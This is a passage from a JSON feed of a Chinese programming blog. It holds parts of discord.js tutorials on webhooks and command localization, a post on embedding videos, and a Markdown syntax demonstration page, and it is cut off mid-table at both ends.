ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etype\u003c/td\u003e\n\u003ctd\u003einteger\u003c/td\u003e\n\u003ctd\u003eWebhook 的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eguild_id?\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 所在的服务器 ID(如果有的话)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003echannel_id\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003eWebhook 所在的频道 ID(如果有的话)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003euser?\u003c/td\u003e\n\u003ctd\u003euser object\u003c/td\u003e\n\u003ctd\u003e创建该 Webhook 的用户的 ID (当使用 token 请求时,不会返回该 ID)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e?string\u003c/td\u003e\n\u003ctd\u003e发送消息时展示的默认名字\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eavatar\u003c/td\u003e\n\u003ctd\u003e?string\u003c/td\u003e\n\u003ctd\u003e发送消息时展示的默认头像\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etoken?\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003eWebhook 的安全 token(为 Incoming Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eapplication_id\u003c/td\u003e\n\u003ctd\u003e?snowflake\u003c/td\u003e\n\u003ctd\u003e创建该 Webhook 的 Bot 或 OAuth2 的 ID\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esource_guild? *\u003c/td\u003e\n\u003ctd\u003epartial guild object\u003c/td\u003e\n\u003ctd\u003eWebhook 所在频道的服务器(注意返回类型,由 Channel Follower Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esource_channel? *\u003c/td\u003e\n\u003ctd\u003epartial channel object\u003c/td\u003e\n\u003ctd\u003eWebhook 所在频道(注意返回类型,为 Channel Follower Webhooks 而生)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eurl?\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e执行 Webhook 的 URL (由 Webhooks OAuth2 流返回)\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003e拿到这个钩子 URL 后,怎么用?\u003c/h3\u003e\n\u003cp\u003e如果你是用户,可以在已经集成了 Discord Webhook 的平台,比如代码托管平台 Github,团队沟通平台 Slack粘贴钩子地址进去即可使用。\u003c/p\u003e\n\u003cp\u003e如果你是开发者,你可以选择直接对接 Discord API 来使用钩子,功能最全,更新最快,详见官方 API 文档。当然,咱们是 Discord.js 开发者啊,当然得介绍介绍 Discord.js 关于 Webhook 的那点儿支持啊哈哈。\u003c/p\u003e\n\u003cp\u003e在此之前,我们先来看看手动调 Discord Webhook API 的方法。\u003c/p\u003e\n\u003ch3\u003eDiscohook.org - 一个调试 Discord Webhook 的网站\u003c/h3\u003e\n\u003cp\u003e打开网站,在 \u003ccode\u003eWebhook URL\u003c/code\u003e 填入你的钩子 URL。我们可以看到 Webhook 可以发送很多东西,就行一个普通用户或一个 Bot 那样。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eContent:发送的消息内容,和我们在斜杠命令里的 \u003ccode\u003econtent\u003c/code\u003e 域一致,长度限制 2000 字符。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eProfile:发送消息的自定义 Profile,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUsername:展示的消息发送者的用户名,可以随便填,若不填,则使用钩子的名字,长度限制 80 字符。\u003c/li\u003e\n\u003cli\u003eAvatar:展示的消息发送者的头像,可以随便填,若不填,则使用 Discord 默认头像。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThread:发送到的子区,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eForum Thread Name:如果 Webhook 所使用的频道类型是 \u003ccode\u003eForum Channel\u003c/code\u003e,你必须提供这个名字,以供 Discord 创建这个名字的子区。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFlags:标志位,其中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSupress Embeds:隐藏链接嵌入。 这不能与丰富的嵌入(使用“添加嵌入”创建)结合使用。勾选此项将。。。。。。。。。。。\u003c/li\u003e\n\u003cli\u003eSuppress Notifications:在 \u003ccode\u003econtent\u003c/code\u003e 域中,如果你 @ 了用户或身份组,准确的说是你使用了任何的 mention,则是否向被 @ 的对象发送通知。勾选此项将不会向被 @ 的对象发送通知。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFiles:上传的文件,最大 25 MB。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eEmbeds:嵌入式对象。我们在前面的文章中介绍过这个类型。对于一个 Embed,你可以设置的域由如下组成:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAuthor:作者,其中:\n\u003cul\u003e\n\u003cli\u003eAuthor:作者名,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eAuthor URL:作者链接,当点击作者名时,跳转到的 URL。\u003c/li\u003e\n\u003cli\u003eAuthor Icon URL:作者头像的 URL。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBody:\n\u003cul\u003e\n\u003cli\u003eTitle:标题,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eDescription:内容,最长 4096 字符\u003c/li\u003e\n\u003cli\u003eURL:当点击标题时,跳转到的链接 URL。\u003c/li\u003e\n\u003cli\u003eColor:Embed 侧边彩条的颜色,默认为 HEX \u003ccode\u003e#202225\u003c/code\u003e ,推荐颜色 Blurple \u003ccode\u003e#5865F2\u003c/code\u003e 。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFields:表格域,其中对于每一个 Field,有:\n\u003cul\u003e\n\u003cli\u003eField Name:表格域题头,最长 256 字符。\u003c/li\u003e\n\u003cli\u003eField Value:表格域值,最长 1024 字符。\u003c/li\u003e\n\u003cli\u003eInline:勾选则该域是个内联域,允许最少连续两个表格域显示时排列在一行上;不勾选则该域在显示是,将独占一行。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eImages:图片,其中:\n\u003cul\u003e\n\u003cli\u003eImage URLs:图片 URL,显示在 Description 的下方。当且仅当 \u003ccode\u003eEmbeds - Body - URL\u003c/code\u003e 存在是,你可以设置 4 个图片 URL。否则,只能设置 1 个图片 URL。\u003c/li\u003e\n\u003cli\u003eThumbnail URL:缩略图 URL,以小图形式显示在作者名以及标题的右侧。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFooter:脚底信息,其中:\n\u003cul\u003e\n\u003cli\u003eFooter:脚底文字,最长 2048 字符。\u003c/li\u003e\n\u003cli\u003eTimestamp:显示的时间戳,格式 \u003ccode\u003eYYYY-MM-DD hh:mm\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003eFooter Icon URL:脚底小图标 URL。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMessage Link:消息 ID。输入同频道内的某条消息的 ID 并点击旁边的 Load,将现成消息作为模板导入编辑器中。\u003cstrong\u003e此操作会覆盖编辑器里的所有数据。\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e你还可以进一步对要发送的消息 JSON 数据进行高级编辑。点击 \u003ccode\u003eJSON Editor\u003c/code\u003e 按钮,可以看到完整的消息 JSON 数据以及报错提示(比如你点击添加了表格域但是没有设置表格域的题头)。在编辑器里,点击 \u003ccode\u003eCopy to Clipboard\u003c/code\u003e 复制到剪切板,点击 \u003ccode\u003eApply Changes\u003c/code\u003e 保存更改。\u003c/p\u003e\n\u003cp\u003e在这一切完毕后,你可以回到网页最上方,点击 Send 使用 Webhook 向频道里发送消息。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-17/"},{"title":"在文章中嵌入视频和代码","time":"2024-04-04T00:00:00Z","content":"\u003ch2\u003eCodepen\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::codepen{#gOyLepE author=\"lxchapu\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::codepen{#gOyLepE author=\"lxchapu\"}\u003c/p\u003e\n\u003ch2\u003eYouTube\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::youtube{#BuKft9LpL_0}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::youtube{#BuKft9LpL_0}\u003c/p\u003e\n\u003ch2\u003eBilibili\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e::bilibili{#BV1Mx4y1Y7pJ}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e::bilibili{#BV1Mx4y1Y7pJ}\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/embed/"},{"title":"Markdown 示例","time":"2024-04-01T00:00:00Z","content":"\u003cp\u003e下面是在 Astro 中编写 Markdown 内容时,可以使用的一些基本 Markdown 语法示例。\u003c/p\u003e\n\u003ch2\u003e标题\u003c/h2\u003e\n\u003cp\u003e你应该避免在 Markdown 正文中重复创建文章标题,因为文章标题会根据 \u003ccode\u003efrontmatter\u003c/code\u003e 中 \u003ccode\u003etitle\u003c/code\u003e 自动生成。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e避免标题层级过深,一般到三级标题就够了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e一级\u003c/h1\u003e\n\u003ch2\u003e二级\u003c/h2\u003e\n\u003ch3\u003e三级 \u003ccode\u003einline code\u003c/code\u003e\u003c/h3\u003e\n\u003ch4\u003e四级\u003c/h4\u003e\n\u003ch5\u003e五级\u003c/h5\u003e\n\u003ch6\u003e六级\u003c/h6\u003e\n\u003ch2\u003e段落\u003c/h2\u003e\n\u003cp\u003eXerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.\u003c/p\u003e\n\u003cp\u003e使用行尾使用两个空格进行段落内的换行\u003c/p\u003e\n\u003cp\u003eAll work and no play makes Jack a dull boy.\u003cbr /\u003e\nAll work and no play makes Jack a dull boy.\u003c/p\u003e\n\u003ch2\u003e图片\u003c/h2\u003e\n\u003cp\u003e小尺寸的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/250/400\" alt=\"图片描述\" /\u003e\u003c/p\u003e\n\u003cp\u003e大尺寸的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/1200/900\" alt=\"图片描述\" /\u003e\u003c/p\u003e\n\u003cp\u003e带标题的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://picsum.photos/seed/picsum/400/300\" alt=\"图片描述\" title=\"图片标题\" /\u003e\u003c/p\u003e\n\u003ch2\u003e强调\u003c/h2\u003e\n\u003cp\u003e这是\u003cstrong\u003e重要内容\u003c/strong\u003e,这是\u003cem\u003e次要内容\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003e删除线\u003c/h2\u003e\n\u003cp\u003e\u003cs\u003e这是一段被删除的文本。\u003c/s\u003e\u003c/p\u003e\n\u003ch2\u003e引用\u003c/h2\u003e\n\u003cp\u003eThe blockquote element represents content that is quoted from another source, optionally with a citation which must be within a \u003ccode\u003efooter\u003c/code\u003e or \u003ccode\u003ecite\u003c/code\u003e element, and optionally with in-line changes such as annotations and abbreviations.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eTiam, ad mint andaepu dandae nostion secatur sequo quae.\u003cbr /\u003e\n\u003cstrong\u003eNote\u003c/strong\u003e that you can use \u003cem\u003eMarkdown syntax\u003c/em\u003e within a blockquote.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e嵌套的引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e嵌套的引用\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e带脚标的引用\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDon't communicate by sharing memory, share memory by communicating.\u0026lt;br\u0026gt;\n— \u0026lt;cite\u0026gt;Rob Pike[^1]\u0026lt;/cite\u0026gt;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e[^1]: The above quote is excerpted from Rob Pike's \u003ca href=\"https://www.youtube.com/watch?v=PAAkCSZUG1c\"\u003etalk\u003c/a\u003e during Gopherfest, November 18, 2015.\u003c/p\u003e\n\u003ch2\u003e分割线\u003c/h2\u003e\n\u003chr /\u003e\n\u003ch2\u003e链接\u003c/h2\u003e\n\u003cp\u003e这是内部链接 \u003ca href=\"/posts/guide\"\u003eGyoza 使用指南\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这是外部连接 \u003ca href=\"https://zh-hans.react.dev/\"\u003eReact \u003cstrong\u003e中文\u003c/strong\u003e文档\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e自动渲染成连接 \u003ca href=\"https://github.com\"\u003ehttps://github.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e邮箱地址 \u003ca href=\"mailto:mail@example.com\"\u003email@example.com\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e表格\u003c/h2\u003e\n\u003cp\u003e设置单元格对齐\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eName\u003c/th\u003e\n\u003cth\u003eAge\u003c/th\u003e\n\u003cth\u003eFruit\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eBob\u003c/td\u003e\n\u003ctd\u003e27\u003c/td\u003e\n\u003ctd\u003eApple\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eAlice\u003c/td\u003e\n\u003ctd\u003e23\u003c/td\u003e\n\u003ctd\u003eBanana\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJohn\u003c/td\u003e\n\u003ctd\u003e28\u003c/td\u003e\n\u003ctd\u003eOrange\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e支持行内 Markdown\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eItalics\u003c/th\u003e\n\u003cth\u003eBold\u003c/th\u003e\n\u003cth\u003eCode\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003cem\u003eitalics\u003c/em\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cstrong\u003ebold\u003c/strong\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003ecode\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e表格溢出\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eA\u003c/th\u003e\n\u003cth\u003eB\u003c/th\u003e\n\u003cth\u003eC\u003c/th\u003e\n\u003cth\u003eD\u003c/th\u003e\n\u003cth\u003eE\u003c/th\u003e\n\u003cth\u003eF\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eLorem ipsum dolor sit amet, consectetur adipiscing elit.\u003c/td\u003e\n\u003ctd\u003ePhasellus ultricies, sapien non euismod aliquam, dui ligula tincidunt odio, at accumsan nulla sapien eget ex.\u003c/td\u003e\n\u003ctd\u003eProin eleifend dictum ipsum, non euismod ipsum pulvinar et. Vivamus sollicitudin, quam in pulvinar aliquam, metus elit pretium purus\u003c/td\u003e\n\u003ctd\u003eProin sit amet velit nec enim imperdiet vehicula.\u003c/td\u003e\n\u003ctd\u003eUt bibendum vestibulum quam, eu egestas turpis gravida nec\u003c/td\u003e\n\u003ctd\u003eSed scelerisque nec turpis vel viverra. Vivamus vitae pretium sapien\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2\u003e代码块\u003c/h2\u003e\n\u003ch3\u003eSyntax\u003c/h3\u003e\n\u003cp\u003ewe can use 3 backticks ``` in new line and write snippet and close with 3 backticks on new line and to highlight language specific syntac, write one word of language name after first 3 backticks, for eg. html, javascript, css, markdown, typescript, txt, bash\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;!doctype html\u0026gt;\n\u0026lt;html lang=\"en\"\u0026gt;\n \u0026lt;head\u0026gt;\n \u0026lt;meta charset=\"utf-8\" /\u0026gt;\n \u0026lt;title\u0026gt;Example HTML5 Document\u0026lt;/title\u0026gt;\n \u0026lt;/head\u0026gt;\n \u0026lt;body\u0026gt;\n \u0026lt;p\u0026gt;Test\u0026lt;/p\u0026gt;\n \u0026lt;/body\u0026gt;\n\u0026lt;/html\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003econst var text = \"hello world\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eKaTeX 公式\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003e$\u003c/code\u003e 符号包裹公式生成行内公式,例如:$E = mc^2$。\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003e$$\u003c/code\u003e 符号包裹公式来生成独立公式。例如:\u003c/p\u003e\n\u003cp\u003e$$\ne^{i\\pi} + 1 = 0\n$$\u003c/p\u003e\n\u003cp\u003e也可以使用代码块(\u003ccode\u003e```math\u003c/code\u003e)的方式:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\\oint_{\\partial V} \\mathbf{E} \\cdot d\\mathbf{A} = \\frac{Q}{\\epsilon_0}\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003eList Types\u003c/h2\u003e\n\u003ch3\u003eOrdered List\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e1. First item\n2. Second item\n3. Third item\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003eFirst item\u003c/li\u003e\n\u003cli\u003eSecond item\u003c/li\u003e\n\u003cli\u003eThird item\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003eUnordered List\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e- List item\n- Another item\n- And another item\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eList item\u003c/li\u003e\n\u003cli\u003eAnother item\u003c/li\u003e\n\u003cli\u003eAnd another item\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNested list\u003c/h3\u003e\n\u003ch4\u003eSyntax\u003c/h4\u003e\n\u003cpre\u003e\u003ccode\u003e- Fruit\n - Apple\n - Orange\n - Banana\n- Dairy\n - Milk\n - Cheese\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFruit\n\u003cul\u003e\n\u003cli\u003eApple\u003c/li\u003e\n\u003cli\u003eOrange\u003c/li\u003e\n\u003cli\u003eBanana\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDairy\n\u003cul\u003e\n\u003cli\u003eMilk\u003c/li\u003e\n\u003cli\u003eCheese\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eOther Elements — abbr, sub, sup, kbd, mark\u003c/h2\u003e\n\u003ch3\u003eSyntax\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;abbr title=\"Graphics Interchange Format\"\u0026gt;GIF\u0026lt;/abbr\u0026gt; is a bitmap image format.\n\nH\u0026lt;sub\u0026gt;2\u0026lt;/sub\u0026gt;O\n\nX\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; + Y\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; = Z\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt;\n\nPress \u0026lt;kbd\u0026gt;\u0026lt;kbd\u0026gt;CTRL\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;ALT\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;Delete\u0026lt;/kbd\u0026gt;\u0026lt;/kbd\u0026gt; to end the session.\n\nMost \u0026lt;mark\u0026gt;salamanders\u0026lt;/mark\u0026gt; are nocturnal, and hunt for insects, worms, and other small creatures.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch4\u003eOutput\u003c/h4\u003e\n\u003cp\u003e\u0026lt;abbr title=\"Graphics Interchange Format\"\u0026gt;GIF\u0026lt;/abbr\u0026gt; is a bitmap image format.\u003c/p\u003e\n\u003cp\u003eH\u0026lt;sub\u0026gt;2\u0026lt;/sub\u0026gt;O\u003c/p\u003e\n\u003cp\u003eX\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; + Y\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt; = Z\u0026lt;sup\u0026gt;n\u0026lt;/sup\u0026gt;\u003c/p\u003e\n\u003cp\u003ePress \u0026lt;kbd\u0026gt;\u0026lt;kbd\u0026gt;CTRL\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;ALT\u0026lt;/kbd\u0026gt;+\u0026lt;kbd\u0026gt;Delete\u0026lt;/kbd\u0026gt;\u0026lt;/kbd\u0026gt; to end the session.\u003c/p\u003e\n\u003cp\u003eMost \u0026lt;mark\u0026gt;salamanders\u0026lt;/mark\u0026gt; are nocturnal, and hunt for insects, worms, and other small creatures.\u003c/p\u003e\n\u003ch2\u003eSpoiler\u003c/h2\u003e\n\u003cpre\u003e\u003ccode\u003e||hide content||\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e正常情况下,该内容会隐藏 ||hide content||,鼠标悬浮时才会显示。\u003c/p\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/markdown/"},{"title":"Bot in Discord with discord.js (16)","time":"2023-04-10T00:00:00Z","content":"\u003ch1\u003eChapter 19 - 命令本地化\u003c/h1\u003e\n\u003cp\u003e本文编写时,项目已升级至 discord.js@v14.9.0。\u003c/p\u003e\n\u003ch3\u003e本地化(Localization)是什么\u003c/h3\u003e\n\u003cp\u003e本地化是指将软件或产品适应不同的语言、文化和地区的过程。\u003c/p\u003e\n\u003cp\u003e本地化可以帮助你的程序在全球范围内更好地接受和使用,从而提高用户体验和满意度。\u003c/p\u003e\n\u003cp\u003e本地化可以帮助你的程序更好地适应当地的文化、习惯和法律法规,从而避免很多问题,特别是你考虑不到的习惯和文化细节的问题。\u003c/p\u003e\n\u003cp\u003e引入本地化可以带来以下好处:提高竞争优势、增加业务收入、减少市场进入障碍。\u003c/p\u003e\n\u003cp\u003e如果你想要进军国际市场,那么本地化是非常重要的。\u003c/p\u003e\n\u003ch3\u003e为命令引入本地化\u003c/h3\u003e\n\u003cp\u003e首先我们需要判断用户的语言/区域设置(locale),这个值就是用户使用 Discord 发送命令时,使用的 Discord 客户端(包括网页版、手机 App、桌面 App 等)里的语言设置。这个设置是跨平台使用的,即用户在一处设置语言,Discord 将处处使用该语言作为客户端 UI 展示用语言。\u003c/p\u003e\n\u003cp\u003e截至本文撰写时,Discord 有效 locale值有:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eLocale\u003c/th\u003e\n\u003cth\u003eLanguage Name\u003c/th\u003e\n\u003cth\u003e语言名称\u003c/th\u003e\n\u003cth\u003eNative Name\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eid\u003c/td\u003e\n\u003ctd\u003eIndonesian\u003c/td\u003e\n\u003ctd\u003e印度尼西亚语\u003c/td\u003e\n\u003ctd\u003eBahasa Indonesia\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eda\u003c/td\u003e\n\u003ctd\u003eDanish\u003c/td\u003e\n\u003ctd\u003e丹麦语\u003c/td\u003e\n\u003ctd\u003eDansk\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ede\u003c/td\u003e\n\u003ctd\u003eGerman\u003c/td\u003e\n\u003ctd\u003e德语\u003c/td\u003e\n\u003ctd\u003eDeutsch\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003een-GB\u003c/td\u003e\n\u003ctd\u003eEnglish, UK\u003c/td\u003e\n\u003ctd\u003e英语(英国)\u003c/td\u003e\n\u003ctd\u003eEnglish, UK\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003een-US\u003c/td\u003e\n\u003ctd\u003eEnglish, US\u003c/td\u003e\n\u003ctd\u003e英语(美国)\u003c/td\u003e\n\u003ctd\u003eEnglish, US\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ees-ES\u003c/td\u003e\n\u003ctd\u003eSpanish\u003c/td\u003e\n\u003ctd\u003e西班牙语\u003c/td\u003e\n\u003ctd\u003eEspañol\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003efr\u003c/td\u003e\n\u003ctd\u003eFrench\u003c/td\u003e\n\u003ctd\u003e法语\u003c/td\u003e\n\u003ctd\u003eFrançais\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehr\u003c/td\u003e\n\u003ctd\u003eCroatian\u003c/td\u003e\n\u003ctd\u003e克罗地亚语\u003c/td\u003e\n\u003ctd\u003eHrvatski\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eit\u003c/td\u003e\n\u003ctd\u003eItalian\u003c/td\u003e\n\u003ctd\u003e意大利语\u003c/td\u003e\n\u003ctd\u003eItaliano\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003elt\u003c/td\u003e\n\u003ctd\u003eLithuanian\u003c/td\u003e\n\u003ctd\u003e立陶宛语\u003c/td\u003e\n\u003ctd\u003eLietuviškai\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ehu\u003c/td\u003e\n\u003ctd\u003eHungarian\u003c/td\u003e\n\u003ctd\u003e匈牙利语\u003c/td\u003e\n\u003ctd\u003eMagyar\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003enl\u003c/td\u003e\n\u003ctd\u003eDutch\u003c/td\u003e\n\u003ctd\u003e荷兰语\u003c/td\u003e\n\u003ctd\u003eNederlands\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eno\u003c/td\u003e\n\u003ctd\u003eNorwegian\u003c/td\u003e\n\u003ctd\u003e挪威语\u003c/td\u003e\n\u003ctd\u003eNorsk\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003epl\u003c/td\u003e\n\u003ctd\u003ePolish\u003c/td\u003e\n\u003ctd\u003e波兰语\u003c/td\u003e\n\u003ctd\u003ePolski\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ept-BR\u003c/td\u003e\n\u003ctd\u003ePortuguese, Brazilian\u003c/td\u003e\n\u003ctd\u003e葡萄牙语(巴西)\u003c/td\u003e\n\u003ctd\u003ePortuguês do Brasil\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ero\u003c/td\u003e\n\u003ctd\u003eRomanian, 